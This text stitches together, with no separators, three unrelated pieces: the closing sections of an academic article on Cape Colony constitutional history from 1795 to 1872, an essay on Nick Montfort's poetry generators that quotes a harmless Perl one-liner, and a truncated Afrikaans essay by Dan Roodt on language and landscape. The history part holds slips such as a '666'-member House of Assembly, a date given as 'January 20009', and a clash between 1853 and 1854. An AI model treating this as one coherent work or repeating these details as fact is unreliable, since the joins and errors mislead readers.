However, the Constitution of 1854 was a troublesome one: it instated a parliament without a parliamentary government. The executive power remained as before firmly with the office of the appointed governor from London. The parliamentary body led to serious conflicts between the representative legislative power and the appointed executive power until 1872. This was especially true during the political abuse and power play of governor Philip Edmond Wodehouse (1862–1870). This unstable governmental system and its ineffective constitution created enormous conflict between the Cape inhabitants and the British in London.11,16,19 Wiid writes as follows about this early effort to bring some form of democracy to the Cape19:324:

The constitution of 1853 carried the seed of self-destruction and provided sufficient proof of its uselessness. Repeated disagreements and deadlocks between the resprentative legislative authority and the elected executive authority, especially during the rule of the autocratic sir Philip Wodehouse, demonstrated that a parliament without parliamentary government under the British system was a constitutional evil (Own translation)

For the poor non-Whites, who formed the majority of the non-Whites and the total South African population, this legislation did not bode well, notwithstanding its non-racial clause. It had the potential to become a White man’s and a rich-man’s constitution to maintain White rule. Both the Dutch and English wanted to ensure that they could dominate politically. This became clearer after 1874. The only power available was in the hands of the executive governor and London.1-3,10

It took eighteen years to move to a more democratic system. Since 1853, a more realistic idea started to develop about effective rule in the Cape. Prominent was the growing political and financial responsibility assigned to the management of the Cape Colony. Internal struggles also obstructed effective governance from London. It was clear that an improvement to the self-management of the 1853 constitution at the Cape was urgently needed.10

The initially introduction of the representative constitution was delayed by the Eight Xhosa War. The First Cape Parliament (1854-1858) was at last opened by Governor Charles Henry Darling (1854–1854) on the 30th of June 1854. The governor that really implemented the constitution and its parliament was Sir George Grey (1854–1861).1,2,10,16,17

This First Cape Parliament (1854-1858) was, in terms of office, followed by the following three parliaments15,16,18:

  • Second Cape Parliament (1859–1863)
  • Third Cape Parliament (1864–1869) [Office was ended by dissolution of British Governor]
  • Fourth Cape Parliament (1870–1873) Henry Barkly (1870–1877)

The deadlocks and conflicts between the representative legislative power and the appointed executive power of the First Cape Parliament continued, hampering political decision-making. In 1862, Wodehouse got into trouble with the Cape Parliament, which refused to take over British Kaffraria from the imperial government or to impose additional taxation. British Kaffraria was annexed in 1865 by a bill that also increased the membership of the Legislative Council to 21 and the House of Assembly to 666 to include the representatives of British Kaffraria. After another conflict and a deadlock in the Parliament in 1869, the governor dissolved parliament. This internal conflict between the executive and legislative powers continued, and in May 1870 the parliament was prorogued. Democracy, even in its primitive form, was not handled effectively by the Cape Colony’s inhabitants, however much they dreamed and fought for democracy and their political rights since 1652.1,2,19

Ultimately, the Colonial Secretary ordered Henry Barkly (1870–1877) to introduce responsible government at the Cape. The colony and its ineffective leaders were becoming more of a burden than an asset. The British government felt that drastic action was needed, as Wiid17 states19:325:

The British government argued that, if the Cape colonists would not be ruled from above, they should be allowed to assume the responsibilities of self-government (Own translation).

This noble belief (and hope) of the Empire was easier said than done. Notwithstanding their internal fights and obstructions, Barkly steered the colonists. A Responsible Government Bill was passed to instate responsible government in 1870. It passed successfully through the House of Assembly, but was rejected by the Legislative Council owing opposition from the Eastern Province. The bill was finally passed in April 1872 by both houses, but opposition was still prominent.1,15,16

After unsuccessful appeals to eminent Capetonians, like Southey, Porter and Solomon, Barkly asked JC (John) Molteno (who also became the first Prime Minister) to put a government together, which he did with success. The 1872 Constitution of the Cape Colony, also known as the Constitution Ordinance Amendment Act of 1872, had as its underlying principle full responsible government for the Cape Colony. It brought important changes to the political empowerment of the Colony’s inhabitants. This happened 220 years after the establishment of the Cape Refreshment Settlement. This development ended the autocratic reigns of governors, like Phillip Edmond Wodehouse (1862-1870), who became famous for their wrongdoings. Sir Henry Barkly’s efforts and initiative as well as that of the Colonial Secretary in London to bring full responsible government for the Cape Colony, are praiseworthy and shows that the British leadership in London was not always unsympathetic to the colonists’ interests. Also, the prominent role of Sir John Molteno, an English-speaking Capetonian, in getting Afrikaans- and English-speaking Whites into a political unity to embark on responsible government towards the Union’s foundation, needs special reference. Barkly and Molteno were the first good leaders at the Cape.1,2,15,16,18

The positive implications of the Constitution Ordinance Amendment Act of 1872 were numerous, as Geen1 spells out1:84-85:

Responsible Government means government by a ministry which is responsible to Parliament and which continues in office only as long as it receives the support of the lower house of Parliament. Thus civil servants appointed by the Colonial Secretary and responsible to him through the Governor ceased to form the Executive Council, which from 1872 consisted of a Prime Minister without any other portfolio and four other ministers, all of whom were members either of the House of Assembly or the Legislative Council and belonged to the party in power in the former body. The Cape Government could no longer be ordered by the Imperial Government to do what it did not want to do, though it could have foreign policy of its own and was bound by many British treaties that affected the whole Empire and also by various admiralty and merchant shipping laws. However, the Governor had to act on the advice of the Cabinet in regards to local matters, though as High Commissioner he still had considerable powers in territories beyond the borders of the Cape Colony.

The new constitution held non-racialism as a core value, while the universal qualification for suffrage of ₤25 was seen as sufficiently low to ensure that most owners of any form of property or land could vote. An effort to raise it was successfully stop although it was agreed that rising in levels of wealth would eventually render it obsolete. Many new voters registered, specific the rural Xhosas of the frontier areas who were mostly communal landowners and therefore eligible for suffrage. This caused racial conflict. An important outcome was that the operating language of the Parliament was English, creating to a limitation of (and discrimination against) Dutch-speaking members because of their inability to speak English.15,16,19

The Fifth Parliament (1874–1878) was finally put in place. However, in the eighteen years from the promulgation of the Constitution Act of 1854 to the Constitution Ordinance Amendment Act of 1872, little changed with regard to racial and cultural conflict, and it all transferred to the Union of South Africa.1,2,15,16

3. Discussion

The Third Marquess of Salisbury, Robert Arthur Gascoyne-Cecil, the British prime minister at the height of Britain’s imperial power, believed that to ensure the stability of the wonderful and joyous Empire of Queen Victoria, as little as possible must be done to maintain the utopia. Gascoyne-Cecil summarized this belief in a single sentence quoted by Barber20:1: “Whatever happens…will be for the worse, and therefore it is in our interest that as little should happen as possible”.

Barber20 does points out that Salisbury was by no means the only political leader who aspired to do very little. Barber writes20:1:

William Evarts, secretary of state in the administration of US President Rutherford B. Hayes (1877–81), admonished him once by saying, “You don’t sufficiently realise, Mr President, the great truth that almost any question will settle itself if you only let it alone long enough”.

Barber continues by describing the US president Calvin Coolidge (nick-named Silent Cal).20 His biographer, Amity Shlaes, wrote20:1: “Congress always says ‘Do’. Coolidge replied, ‘Do not do’, or at least, ‘Do less’”.

When looking to the political history at the Cape 1795 to 1872, the Salisbury, Evarts and Coolidge attitude became the curse of the inhabitants of the Cape Colony under British rule. As little as possible happened on the political field. The belief was human rights politics would cause chaos at the Cape. The belief was also that the race factor would settle itself.15,16,19

It seems that although the British governors were well-educated men and had talent in terms of thinking, planning and doing. However, they were driven by the imperial spirit to establish and to maintain their much loved Empire.

In the ‘civilized world’ of the British of 1872, it was clear that the Cape Colony’s inhabitants were lacking good British culture. The British, were obliged to make the people of the backwards Cape Colony acceptable and functional parts of their grand Mighty Empire. This “backwardness” is to a great extent the truth, as Wiid confirms19:324:

This colony was still conducting a politically restricted life and, as consequence, lost many of its strongest sons as emigrants. Before the seventies, Afrikaans speakers – who back then only comprised about three quarters of the white population in the Colony – only provided around one third of the members of parliament (Own translation).

But Wiid shows that this backwardness was also created and maintained by the British Empire with their suppression of human and political rights.

The non-Whites’ voting rights, based on the multi-racial Cape Qualified Franchise, using the universal qualification for suffrage of ₤25 as sufficiently low to ensure that most owners of any form of property or land could vote, was a mislead plan to keep them out of the Parliament. The majority of these non-Whites – from KhoiKhoi, KhoiSan, Coloureds to free slaves, as well as Blacks inside the borders of the Cape Colony – was absolutely poor. Most of them could not speak English, which disqualified them as voters. Even early Afrikaners – people who were better educated and economically more stable in the period 1795 to 1872 – could be excluded by the Constitution Act of 1854. Wiid writes19:331:

In these circumstances the Afrikaans-speaking, who at the time constituted about one third of the White population at the Cape, delivered about one third of the parliament before the seventies (Own translation).

There is an immense difference between professing multi-racial politics or race equality in theory, and practicing human tolerance. The White Cape inhabitants knew from early on that to rule the Colony and its people they must capture and hold on to two intertwined energies: money and politics: they who have the money rule the politics and they who have the politics rule the money. Chomsky21 explains this fact clearly21:55:

…concentration of wealth leads almost reflexively to concentration of political power, which in turn translates into legislation, naturally in the interests of those implementing it…


…concentrated wealth will, of course, try to use its wealth and power to take over the political system as much as possible, and to run it and do what it wants, etc.

The Whites did not want a non-White regime in power after their “own suffering” on the hands of the VOC and the British Empire. Engelbrecht22 remarks on politicians after he reviewed Ronnie Kasrils’s23 book on Jacob Zuma, when he says22:12-13:

Kasril’s book reveals a serpent’s nest that confirms one’s suspicions that most politicians – everywhere, not just in South Africa – are cunning and dangerous snakes. [Own translation].

As a regime the British Empire was cold-blooded towards non-British persons when its interests were endangered. It did not hesitate to use extreme force when needed, as later reflected in their war against the Boers and their families during the Second Anglo Boer War (1899–1902). The British autocratic management of the Cape Colony inspired hostility among Blacks and Whites.1,2,10,12,23

They laid the table for future hate and rebellion.1,2

These British Empire’s military actions towards and suppressions of indigenous Southern Africans from the early 1800s are, when comparing it with their own modern British guideline to describe a terrorist, precisely the same, namely24:9:

  • Violence against a person;
  • Serious damage to property;
  • Designed to influence a  government or an international organization or to intimidate the     public or a section of the public;
  • With the aim of advancing a political, religious, racial or ideological cause.

This brings to the foreground Boon’s25:75 description of the characteristics of a political mobster:

Selfishness; delinquent inclinations all-over; strategies total stripped of all democratic principles, traditions, thinking, planning and doings; absolute intolerant; anti- order; minorities are quickly eradicated; coercion actions characterized by destruction, threat, killings and brutalities; aim the creation of a delinquent mob-reign; aim the exclusive of executive political mob-leaders to reign the country.

This contamination went much deeper: it also contaminated White inhabitants’ mindsets, as already reflected by the White frontiersmen along all the borders of the Colony.

The Cape’s inhabitants’ isolation from true democracy for over two hundred and twenty years made them political immature (and full of distrust for the Empire), as was reflected by their constant internal fighting and senseless tussling before the Constitution Ordinance Amendment Act of 1872 could finally be promulgated for self-management. This political immaturity was also internalized into the mindsets of the Voortrekkers as reflected by the problematic ruling of their Boer republics.

The period 1795 to 1872 was characterized by in-fighting between Afrikaans-speaking Whites and English-speaking Whites, the growth of the British Empire and British supremacy and the suppression of especially the non-Whites of Southern Africa. Murder was justified as a means to control Blacks. As much as the British showed justice to the slaves, they were cruel to those Blacks who were independent of their control and who resisted. The British leaders at the Cape, twenty-seven governors, failed. The “Spook of Godske” (Ghost of Godske), whose sole intention is to inspire racism and racial disharmony who started his night walks at the old Refreshment Station’s fort, it seems, had never come to rest, not even two hundred years later.1,12,19

The British Empire’s constant wavering and unpredictable policy on the personal and political rights of the Coloureds, KhoiKhoi, KhoiSan and Black tribes such as the Xhosas, a policy that ranged from a kind of “apartheid” to assimilation and to extreme suppression, undoubtedly laid the foundation of more than one political tragedy for South Africa waiting in the future.

The British Empire was a failed regime at the Cape Colony. The British never learned from the old Chinese proverb: Of all the stratagems, to know when to quit is best.

4. Conclusions

The two objectives of this study were to discover if the South African leaders of the period 1795 to 1872 made contributions to the country and its people during their time, and to determine if the behaviours of the South African leaders of the period 1795 to 1872 were impeccable.

The conclusions that are drawn from this study are presented in accordance with the aims and hypotheses as postulated in 2.2 to 2.5:

H1: The South African leaders of the period 1795 to 1872 made extraordinary contributions to the country and its people.

The findings of this study show that the leaders of the period 1795 to 1872 failed to make extraordinary positive contributions to the country and its people. # Hypothesis H1 must be rejected.

H2: The behaviours of the South African executive political leaders of the period 1795 to 1872 were impeccable.

The findings of this study show that the behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons failed to be extraordinary and impeccable. # Hypothesis H2 must be rejected.

Looking at the racial discrepancies, discriminations, injustices and conflicts present by 1872 in South Africa, especially between its individual inhabitants, the Italian proverb: After the game, the king and the pawn go into the same box, is misleading. After two centuries of gaming together, these groups could not fit into one box.

5. References

  1. Geen MS. The Making of the Union of South Africa. London: Longman and Green; 1945.
  2. Scholtz GD. Suid-Afrika en die Wéreldpolitiek: 1652-1952. Pretoria: Voortrekkerpers; 1964.
  3. Beyers C. Binnelandse Beroering en Ondergang van die Kompanjie, 1779-1795. In: AJH     Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  4. Roberts JM. The Penguin History of the World. London: Penguin; 1995.
  5. Van der Merwe JP. Die Kaap onder Britse en Betaafse Bestuur, 1795-1806. In: AJH Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  6. Bless C, Higson-Smith C. Fundamentals of Social Research Methods: An African Perspective. 2nd ed. Kenwyn: Juta; 1995.
  7. Louw GP. A guideline for the preparation, writing and assessment of article-format     dissertations and doctoral theses. 2nd ed. Mafikeng Campus: North-West University, South Africa; 2017.
  8. Maree K, Van der Westhuizen C. Head start in designing research proposals in social sciences. Cape Town: Juta; 2009.
  9. Governors of the Cape Colony. [Internet]. [Cited 2018 Apr.18]. Available from
  10. Grundlingh MAS. Vyftig Jaar Britse Bestuur, 1806-1854. In: AJH Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  11. Cape Colony. [Internet]. [Cited 2018 Apr.18]. Available from
  12. Martinez R. Creating Freedom. Edinburgh: Canongate; 2016.
  13. Van den Heever CM. Generaal JBM Hertzog. Johannesburg: AP Boekhandel; 1944.
  14. Van Der Walt AJH, Wiid JA, Geyer AL. Geskiedenis van Suid- Afrika. Cape Town: NASOU; Annon.
  15. Immelman RFM. Men of Good Hope, 1804-1954. Cape Town: CTCC; 1955.
  16. Parliament of the Cape of Good Hope. [Internet]. [Cited 2018 Apr.18]. Available from
  17. Morudu P. Wie dra die meeste skuld? Rapport (Weekliks). 2016 May 22; pp. 4-5.
  18. McCraken JL. The Cape Parliament.Oxford: Claredon; 1967.
  19. Wiid JA. Politieke Ontwikkeling in die Kaapkolonie, 1872-1896. In: AJH Van Der Walt, JA Wiid, AL Geyer. Geskiedenis van Suid- Afrika. Cape Town: Nasou; Annon.).
  20. Barber M. How to run a Government. London: Penguin; 2015.
  21. Chomsky N. Occupy. Parktown: Penguin; 2012.
  22. Engelbrecht T. ‘n Kroniek van ‘n kaalgatperske. Rapport (Weekliks). 2018 Jan. 21; pp. 12-13.
  23. Kasrils R. A simple Man. Kasrils and the Zuma Enigma. Pretoria: Jacana; 2018.
  24. Powell J. Talking to Terrorists. London: Penguin; 2014.
  25. Boon M. The African way: The power of interactive leadership. Sandton: ZebraPress; 1996.


Not commissioned; External peer-reviewed.


The author declares that he has no competing interest.


The research was funded by the Focus Area Social Transformation, Faculty of Humanities, Potchefstroom Campus, North-West University, South Africa.


Please note that I, the author, is aware that the words Creole, Bantu, Kaffir, Native, Hottentot and Bushman are no longer suitable terms and are inappropriate (even criminal) for use in general speech and writing in South Africa (Even the words non-White and White are becoming controversial in the South African context). The terms do appear in dated documents and are used or translated as such in this article for the sake of historical accuracy. Their use is unavoidable within this context. It is important to retain their use in this article to reflect the racist thought, speech and writings of as recently as sixty years ago. These names form part of a collection of degrading names commonly used in historical writings during the heyday of apartheid and the British imperial time. In reflecting on the leaders and regimes of the past, it is important to foreground the racism, dehumanization and distancing involved by showing the language used to suppress and oppress. It also helps us to place leaders and their sentiments on a continuum of racism. These negative names do not represent my views and I distance myself from the use of such language for speaking and writing. In my other research on the South African populations and political history, I use Blacks, Whites, Xhosa, Zulu, Afrikaners, Coloureds, KhoiSan (Bushmen), KhoiKhoi (Hottentots) and Boers as applicable historically descriptive names.

Generous Poetry Generators

Mark C. Marino

Taroko Gorge and ppg256
by Nick Montfort

The sonnet has been around for centuries. Petrarch wrote sonnets. Shakespeare wrote sonnets. By now there are probably enough sonnets to wallpaper Westminster Abbey several times over. Haiku is an even older and (deceptively) simpler form. To number haikus would be to count grains of sand on the beach at Fontana. These poetic forms are merely a set of formal constraints and conventions of content, yet those restrictions, those boundaries, prove to be so highly generative.

Of course, the quest to create new poetic forms has likewise produced its own vast bestiary. In fact, the challenge to create a new form has been so attractive, poetry collectives like the Ouvoir de Literature Potential (Oulipo) have made the creation of new forms, or Synthouliposm, their primary raison d’être. As Oulipian Raymond Queneau explained, “We call potential literature the search for new forms and structures that may be used by writers in any way they see fit”  [Motte 1986a, 38]. Obviously creating a new form is one task, convincing other writers to use that form is another.

Enter onto that pitch digital computers, engines of procedural creation, and now the potential for the creation of new poems has increased beyond measure. Poetry generators have been around arguably since the first computers. Christopher Strachey, who worked with Alan Turing on the Manchester Mark I, developed a program to generate love letters . While the output was not specifically poetry, per se, this program did point the way for countless generators to come.

One branch of the Oulipo, the ALAMO, developed the primarily paper and print-based approaches of the group for the age of algorithms and digital computers.  As the Oulipans declared, “This is a new era in the history of literature: Thus, the time of created creations, which was that of the literary works we know, should cede to the era of creating creations, capable of developing from themselves and beyond themselves, in a manner at once predictable and inexhaustibly unforeseen”  [Motte 1986a, 48–49].

With the advent of the personal computer and the rapid development of creative networks across the World Wide Web, the number of computer-based poetry generators has multiplied like our lists of sonnets and poetic forms.

One generator Taroko Gorge has proven to be particularly generative. Taroko Gorge first appeared in January 20009 as a one-page python poetry generator on MIT Professor and poet Nick Montfort’s web page. The program is an elegant piece of code that builds on Montfort’s previous experiments with generators.

Elegance refers to an aesthetic aspect of its code, its beauty, the way that it reads. Elegance is a kind of x-factor, a je ne sais quoi, for code, no more an objective measure of the code than elegance is in the grace of a stride or in the fall of a hem. Elegance is in the eye of the person reading or writing the code – computational devices, as far as we know, are largely indifferent to such aesthetics.

It was in his Turing Award Lecture, that computer science pioneer Donald Knuth argued for “Computer Programming as an Art.” In that essay, Knuth argues that programming should be elegant, where elegance is not so much about adornment as a kind of Strunk & White highly clear prose, simple, straight-forward, legible, easy to adapt and re-use. It is this last property that Taroko Gorge demonstrates so well. But its elegance may not be readily apparent.

Montfort’s own brand of elegance grows out of his love of concision. One of his prior creations, the ppg256 (256 character Perl Poetry Generator) exemplifies this aesthetic perfectly. Two hundred and fifty-six refers to the number of characters (letters, numbers and punctuation marks) in this Perl program. Here’s an example of a poem it generated:
the nunelf
one hip gungod
hit it.
The generator works by drawing from sets of syllables and combining them in a poetic structure. This poem may not read like something by Natasha Trethewey, but such poems are a fete for a program that looks like this:

perl -le ‘sub p{(unpack”(A3)*”,pop)[rand 18]}sub w{p(“apebotboyelfgodmannunorcgunhateel”x2)}sub n{p(“theone”x8)._.p(bigdimdunfathiplitredwanwax)._.w.w.”\n”}{print”\n”.n.”and\n”.n.p(“cutgothitjammetputransettop”x2)._.p(“herhimin it offon outup us “x2);sleep 4;redo} #’

A non-programmer, or even just a newcomer to this approach, might wonder where the words are the generator uses to create these poems, for they rely on no external texts or grammars or dictionaries. Even without knowing Perl, you can look in the first string of letters, apebotboyelfgodmannunorcgunhateel, and see the little units (trigrams, three-letter combinations) that would become nunelf and gungod. No single poem produced by these generators can truly capture its potential. For that, one needs to have the code. At that point, the algorithm becomes the poetry.

Montfort has a programmer/poet’s obsession with concision and elegance. When discussing the 256ppg, he recounts his enthusiasm for Perl golfers, programmers who attempt to reduce their lines of code like Tiger Woods, chipping away at their own stroke counts. Fitting his poetry generator into 256 characters puts him on par with some of the various best in the field.To understand how this code becomes an aesthetic object, one has to stop thinking about code as something purely functional (such as the plumbing in your house) but instead as something both functional and aesthetic (like the bright pink and blue pipes used in construction projects in Berlin). Or perhaps a better example would be a beautiful stretch of road that is both easy to drive on, well maintained, and lined with lovely elms. Code is written not merely for machines to process but as a form of communication between programmers especially those who must later maintain and develop the code. But, as the Perl Golf contest demonstrates, it is also an arena where programmers can demonstrate the grace of their algorithms and the efficiency of their thought embodied in code. Code is an expression of thought. A cleverly designed algorithm has the force of a novel poetic conceit.

Taroko Gorge is a poem generator on the topic of the beautiful Taroko Gorge National Park in Taiwan. Like an electronic-age Emerson, Montfort composed the program mostly at the park, finishing it up on the plane afterward. Consider some of its creations:

Brow ranges the coves.
Forests dwell.
Forests hum.
Brows trail the cove.

progress through the encompassing cool —

The crags sweep the flows.
Forests relax.
Heights command the shapes.

enter the sinuous —

The crag ranges the veins.
Forests exercise the veins.
track the straight objective arched clear —

The pattern of the poetry is
0, 1, or 2 Sites.

Cave – Path = Noun + verb + object.
Site = Noun verb
Cave = verb + the + noun + adjective + object

From these simple structures, drawing upon relatively brief lists, the generator produces multitudes.

Montfort has called Taroko Gorge a “limiteless nature poem,” but it is important to realize that he is not referring to any poem generated by the code but the code itself as the poem. What makes the poem limitless is that the program, once executed, continues to iterate. Limitless, thus, is not a characteristic of any one set out of output, but of the capacity of the program to develop poetry without limit.

However, the generous nature of this formal structure can be seen not so much in the poems it generates as the variations on this poetry generator that have been created by subsequent poets, over a dozen so far, each taking on a new theme (pop culture, food, George Takei) and its own variation on the code. And so the day of generators generating generations is upon us, as the promise of procedures flows on.


Mark C. Marino is a scholar and author of electronic literature. He teaches writing at the University of Southern California, where he directs the Humanities and Critical Code Studies Lab.

Taal, landskap en identiteit

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Dan Roodt

Die kwessie rondom taal is besig om dié aangaande ras te vervang as die belangrikste enkele strydpunt in Suid-Afrika. Selfs gedurende die grondwetlike onderhandelinge tussen die Nasionale Party en die ANC tydens die aanloop tot die 1994-verkiesing het slegs drie vraagstukke hul onderskeie standpunte geskei, naamlik eiendomsreg, die sogenaamde uitsluitingsklousule (waarvolgens ’n werkgewer stakende werkers kon uitsluit), en natuurlik, die reg op, of soos dit geblyk het, die keuse van moedertaalonderrig in staatskole. Die berugte rassevraagstuk het nie eens ter sprake gekom nie, wat sekerlik vreemd mag aandoen aan enigiemand buite Suid-Afrika waar rassesegregasie of die woord “apartheid” ewe beskrywend van ons geag word as byvoorbeeld “rewolusie” van Frankryk.

Maar dit wat hier volg, is geen politieke geskrif of poging om tot ’n politieke debat toe te tree nie, hoe gepolitiseer die taalkwessie in Suid-Afrika ook al mag wees. In die eerste plaas gaan dit vir my om ’n besinning oor ’n ervaring van vreemdelingskap in my eie land, ’n soort interne eksiel of ballingskap waarmee ek daagliks as nie-Engelse persoon gekonfronteer word. Op pad tussen Stellenbosch en Franschhoek, in een van die oudste en mees oorwegend Afrikaanse dele in die land, sien ek ’n reusagtige groot padteken wat tweetalig in Engels en Xhosa aangebring is. Op my paspoort is daar deesdae net Engels en Frans, wat my daaraan herinner dat die Suid-Afrikaanse staat kwalik meer Afrikaans as taal erken, hoewel dit in naam steeds een van elf amptelike tale is. Rondom my is daar vele Afrikaners, vele stoere Afrikaners moet ’n mens byvoeg, wat angsvallig besig is om hul kinders in Engels op te voed, kinders met name soos “Justin” en “Megan”, asof die ouers reeds geestelik verhuis het na ’n Engelssprekende land en nie hul spruite met onuitspreekbare Germaans-klinkende name wou opsaal nie.

’n Kafkaeske waas kleef aan dit alles, asof ons almal skuldig is aan ’n onnoembare misdaad en nou daarvoor moet boetedoen deur ontneem te word van ons kulturele burgerskap. Die verskriklike gemeenplaas “apartheid” het sekerlik iets daarmee te doen, maar verduidelik nogtans nie alles nie. Buitendien ervaar ek reeds jare lank hierdie Afrikaanse woord as iets vreemds en onsinnigs, ’n versameling letters wat ek vir die eerste keer gesien het toe ek ’n straat oorsteek in ’n vreemde stad in ’n vreemde land waar dit skielik in wit op die pad geverf voor my opgedoem het.

Denke oor taal en kultuur in Suid-Afrika behaal sy absurdste hoogtepunte juis op amptelike of kwasi-amptelike vlak. In hierdie verband herinner ’n mens jou die uitspraak van regter Johann Kriegler wat beweer het dat indien twee Yslandse kinders ’n Afrikaanse skool sou bywoon, die hele skool sy onderrigmedium na Yslands behoort te verander. Miskien is Ysland hier ’n metafoor vir die amptelike kilheid jeens Afrikaans, of miskien was dit ’n subtiele manier om te sê dat Afrikaans net soos Oud-Yslands, daardie belangrike literêre taal van die sages, sou kon vergaan om iewers in die toekoms net deur spesialiste begryp te word.

Ek sou graag hier wou aanhaal uit die Oud-Yslands, maar as ’n plaasvervanger deel ek graag met die leser die volgende frase van Reinhart die Vos in die Middel-Nederlandse weergawe:

Het staet so, suldi hebbe vrome,
Hier ne mach zijn geen langher staen.
Volghet mi, ic sal voeren gaen.
Wi houden desen crommen pat,

wat rofweg die volgende beteken: “ons kom nêrens deur langer te talm nie, volg my, ek gaan voor, ons neem dié kronkelende pad.” Omdat ons Reinhart ken, weet ons dat dit ietwat riskant is om enige kronkelende pad met hom aan te durf. Só ook die huidige teks, wat begin met ’n kronkelende rit per motor tussen Johannesburg en die Hartebeespoortdam, ’n heel opwindende tog deur rante en klowe wat met aalwyne, verknoetste kareebome en rotsblokke van ysterklip besaai is, brûe oor spruite en riviere, asook skielike draaie en hoogtes wat teen ’n sekere spoed ontstemmend kan raak.

Niks kan meer skokkend wees in die Franse sin van chocquant, as juis die oorgang vanaf, sê maar, Sandton City of die Rosebank Mall, na die Magaliesberg via daardie kronkelpad nie. ’n Mens sou dit ’n Proustiaanse verplasing kon noem, dog sonder om reg aan Proust te laat geskied aangesien syne nooit per motor plaagevind het nie, slegs per trein. Die Europese reisiger is gewoond daaraan om vir twee ure te ry en agterna hom in ’n ander land te bevind, met ’n ander taal, ’n ander mentaliteit, ander gewoontes, kookkuns, gebare, plekname wat moeilik is om uit te spreek. Anderkant die Hartebeespoortdam lê distrikte soos Elandskraal, Mooinooi, die dorpe Rustenburg en Brits, die “diep platteland” soos dit bekend was in die politieke joernalistiek van die ou Suid-Afrika. Dog, anders as op die Europese Vasteland, heg die welaf Engelse inwoners van noordelike Johannesburg nóg waarde aan die kultuur, die taal, die kookkuns, die geskiedenis van hul bure agter die berg, nóg toon hulle hoegenaamd enige belangstelling daarin. Op ’n manier is hulle soos Brittanje se Euroskeptici: hulle staan vyandig teenoor die nie-Engelse, hulle vrees hul komplekse gewoontes en gevoelighede, hulle verag hul gebrek aan Engelse gesonde verstand (“common sense”). ’n Mens kan nie anders as om ’n verband te sien tussen Me Metcalfe se veldtog vir die Engelse taal in skole en die stelling ’n rukkie terug van mnr John Major, toe nog leier van die Tories, dat “Engeland die baarmoeder van die Westerse beskawing” is nie. Vergeet van die Grieke, die Romeine, die Italianers, die Franse, die Duitsers, slegs Engeland het kaart en transport vir die Westerse erfenis.

Daar is tekens dat die platteland — daardie ironiese term vir dit wat onplat voor ons uitstrek — en sy kultuur wat veel meer omvat as bloot die Afrikaanse taal, voortaan aan ’n destruktiewe vorm van herkolonisering, afrikanisering, noem dit wat jy wil, onderwerp gaan word, iets wat na my mening verreikende implikasies het nie net vir die Suid-Afrikaanse kultuur as geheel nie, maar vir ons syn en wese in Suid-Afrika.

Heidegger in sy reaksie op die onafwendbare indringing van tegnologie binne die menslike bestaan het twee houdings geformuleer wat ons behoort in te neem en wat ons mag red as denkende wesens met ’n estetiese projek op aarde. Die eerste is “Gelassenheit zu den Dingen1, wat letterlik in Afrikaans vertaal kan word as “gelatenheid teenoor dinge”. Dit is ’n manier van beide ja en nee te sê teenoor die veranderinge, tegnologies en andersins, wat ’n uitwerking op ons het. Die tweede houding is “Öffenheit für das Geheimnis”, wat weer eens letterlik “oopheid teenoor die geheimenis” beteken. Beide hierdie opvattinge het betrekking op die menslike wese as ’n gewortelde entiteit, gewortel ook in sy geboorteland, sy “pays” soos die Franse sê. Heidegger haal die Duitse digter Johann Peter Hebel aan waar hy sê:

Ons is plante wat — of ons dit wel erken of nie — met ons wortels uit die aarde moet opgroei ten einde in die eter te bloei en vrugte te dra.

Die koloniale ervaring is ’n ontwortelde en ontwortelende, wat in die huidige konteks die estetiese armoede van koloniale kultuur verklaar. Die eindelose moralisme en stereotipering van wat veral in die buiteland bekend staan as “South African literature” val na my mening binne die kategorie van koloniale kultuur. Daarteenoor staan iets soos die onlangse werke van Karel Schoeman, veral die roman Hierdie Lewe 2, wat ’n hoë vlak van “Öffenheit für das Geheimnis” openbaar in die gevoelvolle beskrywings van die Karoo 3, die uitgestrektheid van die landskap en die ongenaakbaarheid van die karakters. Dit lyk asof hy iets vasvang van die tragedie van ’n Karoobestaan tydens die vorige eeu, en by uitbreiding, van die hele platteland. Historici het al dikwels aanmerkings gemaak oor die ekonomiese wankelrigheid van ’n plattelandse bestaan in Suid-Afrika, die gebrek aan standhoudende en voorspelbare reënval, wat tot die nomadisme van beide die Trekboere en swart stamme uit vorige eeue gelei het. Om dus die landskap te beskou is om in ’n sekere sin jou oë te laat gaan oor ’n Leidensgeschichte, die bitter geskiedenis van soveel pogings om te oorleef op meesal droë of brak grond.

Die geskiedenis van Engels in Suid-Afrika is, behalwe Natal, hoofsaaklik ’n stedelike verhaal, sonder woorde om die besonderhede van ons landskap met sy “koppies” en “rante” uit te druk, sy “klowe” en “skeure”, en geen plekname wat die wanhoop van “Putsonderwater” vervat, of die waterobsessies wat hul in soveel “-fonteine” en “-spruiteoor” die hele land herhaal. Die verhaal van die platteland is duidelik ’n Afrikaanse, en die paring van taal en landskap oor die eeue heen het ’n spesifiek plaaslike kultuur geproduseer, wat uiteindelik groot gewig behoort te hê binne die hutspot van ’n Suid-Afrikaanse kultuur. In die mate waartoe Afrikaners en Suid-Afrikaanse swartes tot die Engelse kultuur bydra, staan hulle in dieselfde verhouding tot Engeland as die Skotte, die Walliesers en die Iere: die grootsheid van Engelse of Britse kultuur, ten minste sover dit die letterkunde betref, is te wyte aan die pogings van kunstenaars en skrywers vanuit die geledere van die oorwonne volke wat poog om hul eie sin van waardeloosheid en minderwaardigheid te besweer deur die voortreflikheid van hul werke.

Die Engelse media, en veral die dommer-as-dom buitelandse media, stel die platteland voor as die ligging van wit fascisme, enersyds, en swart armoede, andersyds. Kultureel gesproke is dit ontdaan van enige belang. En tog, tensy ’n mens aan ’n laat vorm van sosiale realisme glo, kan alle fasette van menslike bestaan nie gepolitiseer word nie. As die monochroombril van sosio-politieke cliché afgehaal word, raak die platteland inderdaad kleurvol, welluidend met die stemme van ongekunstelde dog goedgeaarde mense.

Die fassinasie van die volk, le peuple, das Volk, the people, vir intellektuele is bespreek deur Jacques Rancière in sy boek Courts voyages au pays du peuple 4 — “Kort reise deur die land van die volk.” Volgens hom is die platteland baie nader aan ons as wat ons vermoed:

